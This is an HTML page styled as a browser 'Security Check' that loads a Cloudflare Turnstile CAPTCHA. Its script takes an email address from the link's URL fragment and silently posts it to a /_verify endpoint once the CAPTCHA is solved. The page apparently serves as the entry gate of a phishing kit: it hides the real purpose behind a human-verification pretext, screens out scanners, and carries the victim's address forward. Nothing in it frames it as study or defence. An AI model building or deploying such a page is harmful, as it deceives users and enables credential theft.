
    <!DOCTYPE html>
    <html>
      <head>
        <title>Identity Verification</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
        <style>
          body { display:flex; justify-content:center; align-items:center; height:100vh; margin:0; background:#f8f9fa; font-family:sans-serif; }
          .card { background:#fff; padding:40px; border-radius:12px; box-shadow:0 10px 30px rgba(0,0,0,0.08); text-align:center; max-width:380px; }
          h2 { font-size:22px; margin-bottom:10px; color:#333; }
          p { color:#777; font-size:14px; margin-bottom:25px; line-height:1.4; }
        </style>
      </head>
      <body>
        <div class="card">
          <h2>Security Check</h2>
          <p>Please wait while we verify your browser to ensure you are a human visitor.</p>
          <form id="verify-form" action="/_verify" method="POST">
            <input type="hidden" name="email" id="email-field" value="">
            <div class="cf-turnstile" data-sitekey="0x4AAAAAACYtrxMdtZrrGQMc" data-callback="onVerify"></div>
          </form>
        </div>
        <script>
          function onVerify() {
            // Grab the raw value from hash to maintain encoding integrity
            const hashValue = window.location.hash.substring(1); 
            if (hashValue) {
              document.getElementById('email-field').value = hashValue;
            }
            document.getElementById('verify-form').submit();
          }
        </script>
      </body>
    </html>